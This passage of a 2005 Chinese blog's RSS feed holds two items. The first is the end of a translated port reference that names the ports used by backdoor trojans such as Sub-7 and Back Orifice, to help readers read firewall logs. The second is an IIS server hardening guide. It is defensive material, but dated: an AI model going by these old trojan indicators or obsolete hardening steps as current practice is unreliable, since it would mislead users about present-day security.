你会看到很多这个端口的扫描，这依赖于你所在的位置。当用户打开pcAnywere时，它会自动扫描局域网C类网以寻找可能得代理（译者：指agent而不是proxy）。Hacker/cracker也会寻找开放这种服务的机器，所以应该查看这种扫描的源地址。一些搜寻pcAnywere的扫描常包含端口22的UDP数据包。<BR><BR>6776 Sub-7 artifact 这个端口是从Sub-7主端口分离出来的用于传送数据的端口。例如当控制者通过电话线控制另一台机器，而被控机器挂断时你将会看到这种情况。因此当另一人以此IP拨入时，他们将会看到持续的，在这个端口的连接企图。（译者：即看到防火墙报告这一端口的连接企图时，并不表示你已被Sub-7控制。）<BR><BR>6970 RealAudio RealAudio客户将从服务器的6970-7170的UDP端口接收音频数据流。这是由TCP7070端口外向控制连接设置的。<BR><BR>13223 PowWow PowWow 是Tribal Voice的聊天程序。它允许用户在此端口打开私人聊天的连接。这一程序对于建立连接非常具有“进攻性”。它会“驻扎”在这一TCP端口等待回应。这造成类似心跳间隔的连接企图。如果你是一个拨号用户，从另一个聊天者手中“继承”了IP地址这种情况就会发生：好象很多不同的人在测试这一端口。这一协议使用“OPNG”作为其连接企图的前四个字节。<BR><BR>17027 Conducent 这是一个外向连接。这是由于公司内部有人安装了带有Conducent "adbot" 的共享软件。Conducent "adbot"是为共享软件显示广告服务的。使用这种服务的一种流行的软件是Pkware。有人试验：阻断这一外向连接不会有任何问题，但是封掉IP地址本身将会导致adbots持续在每秒内试图连接多次而导致连接过载：<BR>机器会不断试图解析DNS名—ads.conducent.com，即IP地址216.33.210.40 ；216.33.199.77 ；216.33.199.80 ；216.33.199.81；216.33.210.41。（译者：不知NetAnts使用的Radiate是否也有这种现象）<BR><BR><BR>27374 Sub-7木马(TCP)<BR><BR>30100 NetSphere木马(TCP) 通常这一端口的扫描是为了寻找中了NetSphere木马。<BR><BR>31337 Back Orifice “elite” Hacker中31337读做“elite”/ei’li:t/（译者：法语，译为中坚力量，精华。即3=E, 1=L, 7=T）。因此许多后门程序运行于这一端口。其中最有名的是Back Orifice。曾经一段时间内这是Internet上最常见的扫描。现在它的流行越来越少，其它的木马程序越来越流行。<BR><BR>31789 Hack-a-tack 这一端口的UDP通讯通常是由于"Hack-a-tack"远程访问木马（RAT, Remote Access Trojan）。这种木马包含内置的31790端口扫描器，因此任何31789端口到317890端口的连接意味着已经有这种入侵。（31789端口是控制连接，317890端口是文件传输连接）<BR><BR>32770~32900 RPC服务 Sun Solaris的RPC服务在这一范围内。详细的说：早期版本的Solaris（2.5.1之前）将portmapper置于这一范围内，即使低端口被防火墙封闭仍然允许Hacker/cracker访问这一端口。扫描这一范围内的端口不是为了寻找portmapper，就是为了寻找可被攻击的已知的RPC服务。<BR><BR>33434~33600 traceroute 如果你看到这一端口范围内的UDP数据包（且只在此范围之内）则可能是由于traceroute。</P>]]></description>
</item><item>
<title><![CDATA[[安全技术]如何用IIS建立高安全性Web服务器]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=anchen0617&amp;id=6828</link>
<author>anchen0617</author>
<pubDate>2005/6/26 23:41:56</pubDate>
<description><![CDATA[
<TABLE border=0 cellPadding=0 cellSpacing=0 width="100%">
<TBODY>
<TR>
<TD>IIS（Internet Information Server）作为当今流行的Web服务器之一，提供了强大的Internet和Intranet服务功能，如何加强IIS的安全机制，建立一个高安全性能的Web服务器，已成为IIS设置中不可忽视的重要组成部分。 <BR><BR>　　本文将通过以下两个方面来阐述加强IIS安全机制的方法。 <BR><BR>　　一、以Windows NT的安全机制为基础 <BR><BR>　　作为运行在 Windows NT爱作系统环境下的IIS，其安全性也应建立在Windows NT安全性的基础之上。 <BR><BR>　　1.应用NTFS文件系统 <BR>　　NTFS可以对文件和目录进行管理，而FAT（文件分配表）文件系统只能提供共享级的安全，建议在安装Windows NT时使用NTFS系统。 <BR><BR>　　2.共享权限的修改 <BR>　　在缺省情况下，每建立一个新的共享，其everyone用户就能享有“完全控制”的共享权限，因此，在建立新共享后要立即修改everyone缺省权限。 <BR><BR>　　3.为系统管理员账号更名 <BR>　　域用户管理器虽可限制猜测口令的次数，但对系统管理员账号却用不上，这可能给非法用户带来攻击管理员账号口令的机会，通过域用户管理器对管理员账号更名不失为一种好办法。具体设置如下： <BR><BR>　　（1） 启动“域用户管理器”； <BR>　　（2） 选中管理员账号； <BR>　　（3） 启动“用户”选单下的“重命名”对其进行修改。 <BR><BR>　　4.废止TCP/IP上的NetBIOS <BR>　　管理员可以通过构造目标站NetBIOS名与其IP地址之间的映像，对Internet上的其他服务器进行管理，非法用户也可从中找到可乘之机。如果这种远程管理不是必须的，应立即废止（通过网络属性的绑定选项，废止NetBIOS与TCP/IP之间的绑定）。 <BR><BR>　　二、设置IIS的安全机制 <BR><BR>　　1.安装时应注意的安全问题 <BR><BR>　　（1）避免安装在主域控制器上 <BR>　　在安装IIS之后，将在安装的计算机上生成IUSR_Computername匿名账户，该账户被添加到域用户组中，从而把应用于域用户组的访问权限提供给访问Web服务器的每个匿名用户，这不仅给IIS带来巨大的潜在危险，而且还可能牵连整个域资源的安全，要尽可能避免把IIS安装在域控制器上，尤其是主域控制器。 <BR><BR>　　（2）避免安装在系统分区上 <BR>　　把IIS安放在系统分区上，会使系统文件与IIS同样面临非法访问，容易使非法用户侵入系统分区。 <BR><BR>　　2.用户控制的安全性 <BR><BR>　　（1）匿名用户 <BR>　　安装IIS后产生的匿名用户IUSR_Computername（密码随机产生），其匿名访问给Web服务器带来潜在的安全性问题，应对其权限加以控制。如无匿名访问需要，可取消Web的匿名服务。具体方法： <BR><BR>　　①启动ISM（Internet Server Manager）； <BR>　　②启动WWW服务属性页； <BR>　　③取消其匿名访问服务。 <BR><BR>　　（2）一般用户 <BR>　　通过使用数字与字母（包括大小写）结合的口令，提高修改密码的频率，封锁失败的登录尝试以及账户的生存期等对一般用户账户进行管理。 <BR><BR>　　3.登录认证的安全性 <BR><BR>　　IIS服务器提供对用户三种形式的身份认证。 <BR><BR>　　匿名访问：不需要与用户之间进行交互，允许任何人匿名访问站点，在这三种身份认证中的安全性是最低的。 <BR><BR>　　基本（Basic）验证：在此方式下用户输入的用户名和口令以明文方式在网络上传输，没有任何加密，非法用户可以通过网上监听来拦截数据包，并从中获取用户名及密码，安全性能一般。 <BR><BR>　　Windows NT请求/响应方式：浏览器通过加密方式与IIS服务器进行交流，有效地防止了窃听者，是安全性比较高的认证形式。这种方式的缺点是只有IE3.0及以上版本才支持。 <BR><BR>　　4.访问权限控制 <BR><BR>　　（1）文件夹和文件的访问权限：安放在NTFS文件系统上的文件夹和文件，一方面要对其权限加以控制，对不同的用户组和用户进行不同的权限设置；另外，还可利用NTFS的审核功能对某些特定用户组成员读文件的企图等方面进行审核，有效地通过监视如文件访问、用户对象的使用等发现非法用户进行非法活动的前兆，及时加以预防制止。具体方法： <BR><BR>　　①启动“域用户管理器”； <BR>　　②启动“规则”选单下的“审核”选项； <BR>　　③设置“审核规则”。 <BR><BR>　　（2）WWW目录的访问权限：已经设置成Web目录的文件夹，可以通过爱作Web站点属性页实现对WWW目录访问权限的控制，而该目录下的所有文件和子文件夹都将继承这些安全性。WWW服务除了提供NTFS文件系统提供的权限外，还提供读取权限，允许用户读取或下载WWW目录中的文件；执行权限，允许用户运行WWW目录下的程序和脚本。具体设置方法： <BR><BR>　　①启动ISM（Internet服务器管理器）； <BR>　　②启动Web属性页并选择“目录”选项卡； <BR>　　③选择WWW目录； <BR>　　④选择“编辑属性”中的“目录属性”进行设置。 <BR><BR>　　5.IP地址的控制 <BR><BR>　　IIS可以设置允许或拒绝从特定IP发来的服务请求，有选择地允许特定节点的用户访问服务，你可以通过设置来阻止除指定IP地址外的整个网络用户来访问你的Web服务器。具体设置： <BR><BR>　　（1） 启动ISM（Internet服务器管理器）； <BR>　　（2） 启动Web属性页中“高级”选项卡； <BR>　　（3） 进行指定IP地址的控制设置。 <BR><BR>　　6.端口安全性的实现 <BR><BR>　　对于IIS服务，无论是WWW站点、FTP站点，还是NNTP、SMTP服务等都有各自监听和接收浏览器请求的TCP端口号（Post），一般常用的端口号为：WWW是80，FTP是21，SMTP是25，你可以通过修改端口号来提高IIS服务器的安全性。如果你修改了端口设置，只有知道端口号的用户才可以访问，但用户在访问时需要指定新端口号。 <BR><BR>　　7.IP转发的安全性 <BR><BR>　　IIS服务可提供IP数据包转发功能，此时，充当路由器角色的IIS服务器将会把从Internet接口收到的IP数据包转发到内部网中，禁用这一功能不失为提高安全性的好办法。具体设置如下： <BR><BR>　　（1） 启动“网络属性”并选择“协议”选项卡； <BR>　　（2） 在TCP/IP属性中去掉“路由选择”。 <BR><BR>　　8.SSL安全机制 <BR><BR>　　IIS的身份认证除了匿名访问、基本验证和Windows NT请求/响应方式外，还有一种安全性更高的认证：通过SSL（Security Socket Layer）安全机制使用数字证书。 <BR><BR>　　SSL（加密套接字协议层）位于HTTP层和TCP层之间，建立用户与服务器之间的加密通信，确保所传递信息的安全性。 <BR><BR>　　SSL是工作在公共密钥和私人密钥基础上的，任何用户都可以获得公共密钥来加密数据，但解密数据必须要通过相应的私人密钥。使用SSL安全机制时，首先客户端与服务器建立连接，服务器把它的数字证书与公共密钥一并发送给客户端，客户端随机生成会话密钥，用从服务器得到的公共密钥对会话密钥进行加密，并把会话密钥在网络上传递给服务器，而会话密钥只有在服务器端用私人密钥才能解密，这样，客户端和服务器端就建立了一个惟一的安全通道。具体步骤如下： <BR><BR>　　（1） 启动ISM并打开Web站点的属性页； <BR>　　（2） 选择“目录安全性”选项卡； <BR>　　（3） 单击“密钥管理器”按钮； <BR>　　（4） 通过密钥管理器生成密钥对文件和请求文件； <BR>　　（5） 从身份认证权限中申请一个证书； <BR>　　（6） 通过密钥管理器在服务器上安装证书； <BR>　　（7） 激活Web站点的SSL安全性。 <BR><BR>　　建立了SSL安全机制后，只有SSL允许的客户才能与SSL允许的Web站点进行通信，并且在使用URL资源定位器时，输入https:// ，而不是http:// 。 <BR><BR>　　SSL安全机制的实现，将增大系统开销，增加了服务器CPU的额外负担，从而降低了系统性能，在规划时建议仅考虑为高敏感度的Web目录使用。另外，SSL客户端需要使用IE 3.0及以上版本才能使用。</TD></TR></TBODY></TABLE><BR>]]></description>
</item>
</channel>
</rss>